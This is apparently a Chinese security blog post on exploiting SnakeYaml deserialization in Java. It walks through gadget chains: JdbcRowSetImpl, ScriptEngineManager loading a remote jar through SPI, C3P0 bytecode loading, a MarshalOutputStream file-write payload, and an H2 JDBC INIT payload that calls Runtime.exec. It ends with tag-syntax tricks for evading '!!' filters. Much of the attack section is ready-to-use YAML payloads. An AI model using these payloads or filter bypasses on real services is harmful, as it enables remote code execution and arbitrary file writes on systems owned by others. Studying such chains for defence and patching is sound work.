SnakeYaml是java的yaml解析类库,支持Java对象的序列化/反序列化
类似python,SnakeYaml使用缩进代表层级关系,缩进只能用空格,不能用TAB。
Copy一手Yaml语法:
1、对象
使用冒号代表,格式为key: value。冒号后面要加一个空格:
1 | key: value |
可以使用缩进表示层级关系:
1 | key: |
2、数组
使用一个短横线加一个空格代表一个数组项:
1 | hobby: |
3、常量
YAML中提供了多种常量结构,包括:整数,浮点数,字符串,NULL,日期,布尔,时间。下面使用一个例子来快速了解常量的基本使用:
1 | boolean: |
-
的作用:
SnakeYaml反序列化
1.x全版本可利用,snakeYaml<2.0
1 | <dependency> |
SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。
- Yaml.load():入参是一个字符串或者一个文件,经过反序列化之后返回一个Java对象;
- Yaml.dump():将一个对象转化为yaml文件形式;
其中序列化出来的对象格式为!!Snake.类名
在反序列化时可以用!!
指定反序列化的类名,跟fastjson一样
且是调用setter赋值,fastjson能用的JdbcRowSetImpl肯定能用
JdbcRowSetImpl
注意SnakeYaml不能互转false和0,所以payload填false bool
POC:
1 | public static void main(String[] args) throws Exception { |
ScriptEngineManager
这个链利用了SPI机制
SPI 机制
Java SPI
(Service Provider Interface)是Java官方提供的一种服务发现机制
,它允许在运行时动态地加载实现
特定接口的类,而不需要在代码中显式地指定该类
当使用 ServiceLoader.load(Class<T> service)
方法加载服务时,会检查 META-INF/services
目录下是否存在以接口全限定名命名的文件。如果存在,则读取文件内容,获取实现该接口的类的全限定名,并通过 Class.forName()
方法加载对应的类。
而且当我们调用 ServiceLoader.load(Class<T> service)
方法时,并不会立即将所有实现了该接口的类都加载进来,而是返回一个懒加载迭代器
。
只有在使用迭代器遍历时,才会按需加载对应的类并创建其实例。
我们从源码分析下
SPI源码分析
锁定到ServiceLoader.load(Class<T> service)
,调用了另一个参数的load
然后调用ServiceLoader构造函数
构造函数调用reload
reload生成了一个LazyIterator
跟进到这个LazyIterator内部类,很明显我们在使用这个迭代器的时候,会先调用hashNext->hasNextService;再调用next,进而调用到nextService
在它的hasNextService获取了类路径为”META-IN/services/“+类名,并getResource,注意这里获取到的是configs的路径。后面的parse是解析这个configs
parse按行解析configs文件
在ServiceLoader.LazyInterator的nextService内完成了Class.forName初始化和newInstance实例化
如果load的参数可以是http URL,是不是意味着ServiceLoader.load能加载远程META-INF/services下的恶意类?
SPI使用
先看看SPI怎么用的:
定义接口:首先需要定义一个接口,所有实现该接口的类都将被注册为服务提供者。
创建实现类:创建一个或多个实现接口的类,这些类将作为服务提供者。
配置文件:在 META-INF/services 目录下创建一个以接口全限定名命名的文件(也就是我们前面分析的configs),文件内容为实现该接口的类的全限定名,每个类名占一行。
加载使用服务:使用 java.util.ServiceLoader 类的静态方法 load(Class service) 加载服务,默认情况下会加载 classpath 中所有符合条件的提供者。调用 ServiceLoader 实例的 iterator() 方法获取迭代器,遍历迭代器即可获取所有实现了该接口的类的实例。
所以我们本地需要在META-INF/services创建一个文件(用于configs加载),文件内容是我们需要加载的类的全限定名
然后恶意类实现ScriptEngineFactroy接口,并在构造函数 or 静态代码块写恶意代码。
为什么是ScriptEngineFactory接口?
根据前面的内容,我们不难推断漏洞触发为ServiceLoader.load生成迭代器,调用迭代器时完成任意类加载
我们看下ScriptEngineFactory完成SPI的代码:
ScriptEngineFactory.initEngines先调用getServiceLoader,然后获取了迭代器,并在循环中使用了迭代器(hasNext->next)
其中getServiceLoader就是ServiceLoader.load
这里load传入的service时ScriptEngineFactory,所以我们的恶意类需要实现ScriptEngineFactory接口
POC
META-INF目录结构,放configs。恶意类放在源代码目录
为了一个URL同时对外部提供这两个文件用于加载,需要打包成jar,我打包好了发布在了my github:
POC:
1 | public class ScriptEngineManger { |
注意需要jdk版本相同
其他使用SPI的场景
一些其他使用SPI的场景,简单看看
应用名称 | 具体应用场景 |
---|---|
数据库驱动程序加载 | JDBC 为了实现可插拔 的数据库驱动,在Java.sql.Driver接口中定义了一组标准的API规范,而具体的数据库厂商则需要实现这个接口,以提供自己的数据库驱动程序。在Java中,JDBC驱动程序的加载就是通过SPI机制实现的。 |
日志框架的实现 | 流行的开源日志框架 ,如Log4j、SLF4J和Logback 等,都采用了SPI机制。用户可以根据自己的需求选择合适的日志实现,而不需要修改代码。 |
Spring框架 | Spring框架 中的Bean加载机制就使用了SPI思想,通过读取classpath下的META-INF/spring.factories文件来加载各种自定义的Bean 。 |
Dubbo框架 | Dubbo框架 也使用了SPI思想,通过接口注解@SPI 声明扩展点接口,并在classpath下的META-INF/dubbo目录中提供实现类的配置文件,来实现扩展点的动态加载。 |
MyBatis框架 | MyBatis框架 中的插件机制也使用了SPI思想,通过在classpath下的META-INF/services目录中存放插件接口的实现类路径,来实现插件的加载和执行 。 |
Netty框架 | Netty框架 也使用了SPI机制,让用户可以根据自己的需求选择合适的网络协议实现方式 。 |
Hadoop框架 | Hadoop框架 中的输入输出格式也使用了SPI思想,通过在classpath下的META-INF/services目录中存放输入输出格式接口的实现类路径,来实现输入输出格式的灵活配置和切换 。 |
不出网C3P0
不出网的情况能打C3P0,需要C3P0依赖
利用的是C3P0ImplUtils.parseUserridesAsString加载字节码,之前在分析C3P0+jackson联合打不出网时分析过了,移步:
换成Yaml.load触发setter(setUserOverridesAsString)
SnakeYaml 打C3P0 CC6 POC:
1 | public class C3P0ImplUtils_HEX_CC6 { |
不出网MarshalOutputStream写文件
snakeYaml和fastjson很像,可以借鉴一下fastjson的payload
phith0n师傅做了一张图,copy一下
不出网的情况下,fastjson有一条1.2.68+commons-io写文件的链子。在分析这条链子的时候提到OpenJDK>=11能无需commons-io依赖直接写文件的MarshalOutputStream POC
https://godownio.github.io/2024/10/28/fastjson-1.2.68-commons-io-xie-wen-jian/
之所以在fastjson中MarshalOutputStream写文件的链子会比较局限
fastjson在找不到默认无参构造函数的情况下,会遍历所有构造函数,使用lookupParametersName寻找带参数名信息的构造函数
缺失了LocalVeriableTable并不会影响类的正常使用和反射调用,但是会使调试出现问题,无法提供方法中局部变量的名称、类型和作用范围等信息。
ASMUtils.lookupParametersName 方法依赖于 LocalVariableTable 信息来查找方法参数的名称。
https://zhuanlan.zhihu.com/p/263503452
LocalVariableTable
是 Java 字节码中 调试信息的一部分,存在于.class
文件中的方法结构内,属于Code
属性的扩展部分。它记录了方法中每个局部变量的 变量名、作用域、生存期及槽位索引,但它 不是必须的——它仅在编译时启用了调试信息(例如javac -g
)时才会生成。
fastjson在调用构造函数时,缺失LocalVariableTable会导致ASMUtils.lookupParametersName报错
目前只发现 CentOS 下的 OpenJDK 8 字节码调试信息中含有 LocalVariableTable。或者是win下的OpenJDK >=11,所以在fastjson中利用环境非常有限
但是snakeYaml调用构造函数并不会用到LocalVariableTable,所以MarshalOutputStream写文件的链子会比较通用,没有jdk限制
fastjson写文件链子:
1 | { |
改写为yaml格式:
1 | !!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["Destpath"],false],!!java.util.zip.Inflater { input: !!binary base64str },1048576]] |
Destpath是目的路径,base64str为经过zlib压缩过后的文件内容
一个现成的payload:
1 | package org.exploit.third.SnakeYaml; |
这个方式进行写文件有个非常好的好处。就是因为zlib压缩的存在,可以写任何形式的文件,包括普通的文本文件和二进制文件。
联动ScriptEngineManager
联动ScriptEngineManger POC达到写文件后加载jar的姿势。完成不出网的RCE
1 | !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["file:///success.jar"]]]] |
另外,SnakeYaml可以无限制调用构造函数,那么可以用ClassPathXmlApplicationContext进行spEL注入,当然,这种手法也需要连接外网,如果无法连接外网,也需要通过写文件再读取的方式进行利用
不出网H2 JDBC
update at 2025.4.15 phith0n大师傅对HertzBeat中SnakeYaml反序列化不出网的拓展。详情请直接移步https://www.leavesongs.com/PENETRATION/jdbc-injection-with-hertzbeat-cve-2024-42323.html
jdk>=11,有h2database的情况下,能打h2 JDBC Attack
fastjson>=1.2.36可以通过$ref调用getter,如果目标有h2database的依赖,可以通过调用org.h2.jdbcx.JdbcDataSource#getConnection打h2database的jdbc attack
1 | [ |
一般来说代码里的h2 jdbc attack是用
DriverManager.getConnection(JDBC_Url, username, password);
触发的,但是有参,不符合getter的调用
又因为org.h2.jdbcx.JdbcDataSource#getConnection实际上是调用的JdbcConnection构造函数,在snakeYaml中就很有用武之地了,snakeYaml打h2 jdbc:
1 | !!org.h2.jdbc.JdbcConnection [ "jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS $$void exec() throws java.io.IOException { Runtime.getRuntime().exec(\"calc.exe\")\\; }$$\\;CALL EXEC ()\\;", {}, "a", "b", false ] |
上述转为yaml格式应该是:
1 | !!org.h2.jdbc.JdbcConnection |
而且H2 Database Web Console的未授权访问漏洞导致的JDBC注入 CVE-2022-23221的修复方式之一就是:在H2>=1.4.198中把构造函数的最后一个参数改为true(此处略过调试)
https://github.com/vulhub/vulhub/blob/master/h2database/h2-console-unacc/README.zh-cn.md
因为我们能直接控制构造函数的所有参数,所以能忽略h2执行命令所需的条件:必须知道数据库名或开启-ifNotExists
另外,我们观察到,第一个参数URL中,由于要在INIT中执行多个SQL语句,所以我使用了反斜线对分号进行转义\;
,但又由于整个URL位于YAML中的字符串中,所以还要再次对反斜线进行转义\\;
,整个POC的可读性大大降低。
网上有一些文章说JDBC的INIT中不支持执行多个SQL语句,其实原因就是没有转义分号导致的,实际上这里并没有限制。
其实JdbcConnection构造函数的第二个参数是Properties,我们完全可以将INIT这种属性放到这里面。
以减少URL参数中的转义,然后将YAML修改成我们更熟悉的样式:
YAML 中的
|
是一种 多行文本(Literal Block Scalar)标记符,用于保留换行并原样呈现多行字符串的内容
1 | !!org.h2.jdbc.JdbcConnection |
注意-
的作用噢
绕过
!!
可以用TAG来绕过
Tag的声明位于org.yaml.snakeyaml.nodes.Tags
!!
换为tag:yaml.org,2002:
!!
实际上就是一个Tag,等同于"tag:yaml.org,2002:"
加一个后缀。除了这里声明的类,Tag就是"tag:yaml.org,2002:"
+类的全限定名,比如!!javax.script.ScriptEngineManager
的Tag是tag:yaml.org,2002:javax.script.ScriptEngineManager
除此之外还有两种替换方式
!<tag>
!!javax.script.ScriptEngineManager
换为!<tag:yaml.org,2002:javax.script.ScriptEngineManager>
1 | !<tag:yaml.org,2002:javax.script.ScriptEngineManager> " + |
%TAG
用%TAG声明一个 TAG,后面使用!
就可以自动加上Tag
1 | %TAG ! tag:yaml.org,2002: |
ref:
https://www.leavesongs.com/PENETRATION/jdbc-injection-with-hertzbeat-cve-2024-42323.html